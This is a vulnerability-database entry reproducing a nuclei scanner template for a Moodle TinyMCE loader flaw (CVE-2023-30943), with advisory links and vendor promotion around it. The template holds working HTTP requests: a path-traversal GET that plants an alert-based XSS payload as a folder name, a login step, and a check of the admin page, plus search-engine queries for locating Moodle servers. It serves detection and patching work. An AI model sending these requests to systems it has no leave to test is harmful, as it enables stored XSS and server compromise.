Lucene search
+L

Moodle - Cross-Site Scripting/Remote Code Execution

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 513 Views

Vulnerability in Moodle allows unauthenticated arbitrary folder creation leading to Stored XSS and Remote Code Executio

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for External Control of File Name or Path in Moodle
31 Aug 202308:18
–githubexploit
githubexploit
GithubExploit
Exploit for External Control of File Name or Path in Moodle
21 Mar 202408:08
–githubexploit
githubexploit
GithubExploit
Exploit for External Control of File Name or Path in Moodle
7 Sep 202313:25
–githubexploit
attackerkb
attackerkb
CVE-2023-30943
2 May 202320:15
–attackerkb
bdu_fstec
BDU FSTEC
TinyMCE Moodle Data Access
6 Sep 202300:00
–bdu_fstec
circl
Circl
CVE-2023-30943
3 May 202300:30
–circl
cnnvd
CNNVD
Moodle security vulnerabilities
2 May 202300:00
–cnnvd
cve
CVE
CVE-2023-30943
2 May 202300:00
–cve
cvelist
Cvelist
CVE-2023-30943 Moodle: tinymce loaders susceptible to arbitrary folder creation
2 May 202300:00
–cvelist
fedora
Fedora
[SECURITY] Fedora 36 Update: moodle-3.11.14-1.fc36
11 May 202301:30
–fedora
Rows per page
id: CVE-2023-30943

info:
  name: Moodle - Cross-Site Scripting/Remote Code Execution
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
  reference:
    - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30943
    - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
    - https://bugzilla.redhat.com/show_bug.cgi?id=2188605
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30943
    cwe-id: CWE-610,CWE-73
    epss-score: 0.06828
    epss-percentile: 0.93999
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: moodle
    product: moodle
    shodan-query:
      - title:"Moodle"
      - cpe:"cpe:2.3:a:moodle:moodle"
      - http.title:"moodle"
    fofa-query: title="moodle"
    google-query: intitle:"moodle"
  tags: cve,cve2023,moodle,xss,rce,authenticated,vuln

http:
  - raw:
      - |
        GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anchor=&logintoken={{token}}&username={{username}}&password={{password}}
      - |
        GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - ">archive"
          - "File icon"
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        part: header_4
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="logintoken" value="([a-zA-Z0-9]+)">'
        internal: true
# digest: 490a00463044022041d8ce22d6bd6909ddf185faaffecd6d0c31ee277abb84a71fafe0e16327298e02201bba985a645cef7d63c4b3be74bc75353d3e36c55660b48cec6f98a953737c35:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.15.3 - 6.5
EPSS0.06828
513